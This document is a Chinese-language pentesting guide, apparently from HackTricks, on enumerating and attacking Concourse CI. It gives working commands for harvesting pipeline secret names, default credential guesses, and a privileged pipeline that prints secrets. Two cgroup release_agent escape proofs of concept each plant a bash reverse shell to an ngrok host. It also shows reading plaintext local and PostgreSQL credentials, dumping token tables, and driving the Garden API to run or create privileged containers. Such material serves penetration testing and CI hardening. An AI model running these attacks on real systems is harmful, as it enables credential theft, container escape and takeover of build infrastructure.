# Concourse Enumeration & Attacks {{#include ../../banners/hacktricks-training.md}} ## Concourse Enumeration & Attacks ### 用户角色与权限 Concourse 具有五个角色: - _Concourse_ **管理员**:此角色仅授予 **主团队**(默认初始 concourse 团队)的所有者。管理员可以 **配置其他团队**(例如:`fly set-team`,`fly destroy-team`...)。此角色的权限无法通过 RBAC 进行影响。 - **所有者**:团队所有者可以 **修改团队内的所有内容**。 - **成员**:团队成员可以在 **团队资产** 中 **读取和写入**,但不能修改团队设置。 - **管道操作员**:管道操作员可以执行 **管道操作**,例如触发构建和固定资源,但不能更新管道配置。 - **查看者**:团队查看者对团队及其管道具有 **“只读”** 访问权限。 > [!NOTE] > 此外,**所有者、成员、管道操作员和查看者的权限可以通过配置 RBAC 进行修改**(更具体地说是配置其操作)。有关更多信息,请阅读:[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) 请注意,Concourse **将管道分组到团队中**。因此,属于某个团队的用户将能够管理这些管道,并且 **可能存在多个团队**。用户可以属于多个团队,并在每个团队中拥有不同的权限。 ### Vars & Credential Manager 在 YAML 配置中,您可以使用语法 `((_source-name_:_secret-path_._secret-field_))` 配置值。\ [来自文档:](https://concourse-ci.org/vars.html#var-syntax) **source-name 是可选的**,如果省略,将使用 [集群范围的凭证管理器](https://concourse-ci.org/vars.html#cluster-wide-credential-manager),或者可以 [静态提供](https://concourse-ci.org/vars.html#static-vars) 值。\ **可选的 \_secret-field**\_ 指定要读取的获取的秘密上的字段。如果省略,凭证管理器可以选择从获取的凭证中读取“默认字段”,如果该字段存在。\ 此外,_**secret-path**_ 和 _**secret-field**_ 如果 **包含特殊字符**(如 `.` 和 `:`),可以用双引号 `"..."` 括起来。例如,`((source:"my.secret"."field:1"))` 将把 _secret-path_ 设置为 `my.secret`,并将 _secret-field_ 设置为 `field:1`。 #### 静态变量 静态变量可以在 **任务步骤** 中指定: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` 使用以下 `fly` **参数**: - `-v` 或 `--var` `NAME=VALUE` 将字符串 `VALUE` 设置为变量 `NAME` 的值。 - `-y` 或 `--yaml-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为变量 `NAME` 的值。 - `-i` 或 `--instance-var` `NAME=VALUE` 将 `VALUE` 解析为 YAML,并将其设置为实例变量 `NAME` 的值。有关实例变量的更多信息,请参见 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)。 - `-l` 或 `--load-vars-from` `FILE` 加载 `FILE`,这是一个包含变量名称与值映射的 YAML 文档,并设置所有变量。 #### 凭证管理 在管道中可以通过不同方式指定 **凭证管理器**,请阅读 [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)。\ 此外,Concourse 支持不同的凭证管理器: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) - [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) - [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) - [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) - [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) - [Caching credentials](https://concourse-ci.org/creds-caching.html) - [Redacting credentials](https://concourse-ci.org/creds-redacting.html) - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > 请注意,如果您对 Concourse 有某种 **写入访问权限**,您可以创建作业来 **提取这些秘密**,因为 Concourse 需要能够访问它们。 ### Concourse 枚举 为了枚举一个 concourse 环境,您首先需要 **收集有效凭证** 或找到一个 **认证令牌**,可能在 `.flyrc` 配置文件中。 #### 登录和当前用户枚举 - 登录时需要知道 **端点**、**团队名称**(默认是 `main`)和 **用户所属的团队**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - 获取配置的 **目标**: - `fly targets` - 检查配置的 **目标连接** 是否仍然 **有效**: - `fly -t status` - 获取用户在指定目标下的 **角色**: - `fly -t userinfo` > [!NOTE] > 请注意,**API 令牌** 默认保存在 `$HOME/.flyrc` 中,您在盗取机器时可以在那里找到凭证。 #### 团队与用户 - 获取团队列表 - `fly -t teams` - 获取团队内的角色 - `fly -t get-team -n ` - 获取用户列表 - `fly -t active-users` #### 管道 - **列出** 管道: - `fly -t pipelines -a` - **获取** 管道 yaml(**敏感信息**可能在定义中找到): - `fly -t get-pipeline -p ` - 获取所有管道 **配置声明的变量** - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` - 获取所有 **使用的管道秘密名称**(如果您可以创建/修改作业或劫持容器,您可以提取它们): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` #### 容器与工作者 - 列出 **workers**: - `fly -t workers` - 列出 **containers**: - `fly -t containers` - 列出 **builds** (查看正在运行的内容): - `fly -t builds` ### Concourse 攻击 #### 凭证暴力破解 - admin:admin - test:test #### 秘密和参数枚举 在上一节中,我们看到如何 **获取管道使用的所有秘密名称和变量**。这些 **变量可能包含敏感信息**,而 **秘密的名称在稍后尝试窃取** 时将非常有用。 #### 在运行或最近运行的容器内会话 如果您拥有足够的权限 (**member role 或更高**) ,您将能够 **列出管道和角色**,并使用以下命令直接进入 `/` **容器**: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` 凭借这些权限,您可能能够: - **窃取** **容器** 内部的秘密 - 尝试 **逃离** 到节点 - 枚举/滥用 **云元数据** 端点(从 pod 和节点,如果可能的话) #### 管道创建/修改 如果您拥有足够的权限(**成员角色或更高**),您将能够 **创建/修改新管道。** 请查看这个示例: ```yaml jobs: - name: simple plan: - task: simple-task privileged: true config: # Tells Concourse which type of worker this task should run on platform: linux image_resource: type: registry-image source: repository: busybox # images are pulled from docker hub by default run: path: sh args: - -cx - | echo "$SUPER_SECRET" sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` 通过**修改/创建**新管道,您将能够: - **窃取** **秘密**(通过回显它们或进入容器并运行 `env`) - **逃逸**到 **节点**(通过给予您足够的权限 - `privileged: true`) - 枚举/滥用 **云元数据** 端点(从 pod 和节点) - **删除** 创建的管道 #### 执行自定义任务 这与之前的方法类似,但您可以**仅执行自定义任务**(这可能会更加**隐蔽**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: type: registry-image source: repository: ubuntu run: path: sh args: - -cx - | env sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` #### 从特权任务逃逸到节点 在前面的部分中,我们看到如何**使用 concourse 执行特权任务**。这不会给容器提供与 docker 容器中的特权标志完全相同的访问权限。例如,您不会在 /dev 中看到节点文件系统设备,因此逃逸可能会更“复杂”。 在以下 PoC 中,我们将使用 release_agent 进行逃逸,并进行一些小的修改: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" # It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release # CHANGE ME # The host path will look like the following, but you need to change it: host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs" ## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command: #/dev/vda1 on /scratch type ext4 (rw,relatime) #/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime) #/dev/vda1 on /etc/hosts type ext4 (rw,relatime) #/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime) ## Then next part I think is constant "hostpath-provisioner/default/" ## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed # "concourse-work-dir" is constant # "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API) # "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number) ## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant # running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like: # workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028 # the UID is the part we are looking for # Then the host_path is: #host_path="/mnt//hostpath-provisioner/default/concourse-work-dir--worker-/overlays//rootfs" # Sets release_agent to /path/payload echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` > [!WARNING] > 正如您可能注意到的,这只是一个 [**常规的 release_agent 逃逸**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md),只是修改了节点中 cmd 的路径。 #### 从 Worker 容器逃逸到节点 一个常规的 release_agent 逃逸,稍作修改即可满足此需求: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enables cgroup notifications on release of the "x" cgroup echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1` echo "$host_path/cmd" > /tmp/cgrp/release_agent #==================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd chmod a+x /cmd #==================================== # Get output echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #==================================== # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` #### 从Web容器逃逸到节点 即使Web容器禁用了某些防御,它也**不是以常见的特权容器运行**(例如,您**无法** **挂载**,并且**能力**非常**有限**,因此所有简单的逃逸方法都无效)。 然而,它以明文形式存储**本地凭据**: ```bash cat /concourse-auth/local-users test:test env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` 您可以使用这些凭据**登录到网络服务器**并**创建一个特权容器并逃逸到节点**。 在环境中,您还可以找到信息以**访问concourse使用的postgresql**实例(地址、**用户名**、**密码**和数据库等其他信息): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432 CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432 CONCOURSE_POSTGRES_USER=concourse CONCOURSE_POSTGRES_DATABASE=concourse CONCOURSE_POSTGRES_PASSWORD=concourse [...] # Access the postgresql db psql -h 10.107.191.238 -U concourse -d concourse select * from password; #Find hashed passwords select * from access_tokens; select * from auth_code; select * from client; select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` #### 滥用 Garden 服务 - 并非真正的攻击 > [!WARNING] > 这些只是关于该服务的一些有趣笔记,但由于它仅在本地主机上监听,这些笔记不会带来我们尚未利用过的影响 默认情况下,每个 concourse worker 将在 7777 端口运行一个 [**Garden**](https://github.com/cloudfoundry/garden) 服务。该服务由 Web 主机使用,以指示 worker **需要执行的内容**(下载镜像并运行每个任务)。这对攻击者来说听起来不错,但有一些很好的保护措施: - 它仅在 **本地暴露**(127..0.0.1),我认为当 worker 使用特殊的 SSH 服务对 Web 进行身份验证时,会创建一个隧道,以便 Web 服务器可以 **与每个 worker 内的 Garden 服务进行通信**。 - Web 服务器 **每隔几秒监控运行的容器**,并且 **意外的** 容器会被 **删除**。因此,如果您想要 **运行自定义容器**,您需要 **篡改** Web 服务器与 Garden 服务之间的 **通信**。 Concourse workers 以高容器权限运行: ``` Container Runtime: docker Has Namespaces: pid: true user: false AppArmor Profile: kernel Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` 然而,像**挂载**节点的/dev设备或release_agent这样的技术**无法工作**(因为节点的真实设备及其文件系统不可访问,只有一个虚拟设备)。我们无法访问节点的进程,因此在没有内核漏洞的情况下逃离节点变得复杂。 > [!NOTE] > 在上一节中,我们看到如何从特权容器中逃脱,因此如果我们可以在**当前** **工作者**创建的**特权容器**中**执行**命令,我们就可以**逃离到节点**。 请注意,在玩concourse时,我注意到当一个新容器被生成以运行某些内容时,容器进程可以从工作者容器访问,因此就像一个容器在内部创建一个新容器一样。 **进入一个正在运行的特权容器** ```bash # Get current container curl 127.0.0.1:7777/containers {"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} # Get container info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **创建一个新的特权容器** 您可以非常轻松地创建一个新容器(只需运行一个随机 UID)并在其上执行某些操作: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` 然而,web 服务器每隔几秒钟检查正在运行的容器,如果发现意外的容器,它将被删除。由于通信是在 HTTP 中进行的,您可以篡改通信以避免意外容器的删除: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. . T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157 HTTP/1.1 200 OK. Content-Type: application/json. Date: Thu, 17 Mar 2022 22:42:55 GMT. Content-Length: 131. . {"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]} T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159 DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1. Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` ## 参考 - [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html) {{#include ../../banners/hacktricks-training.md}}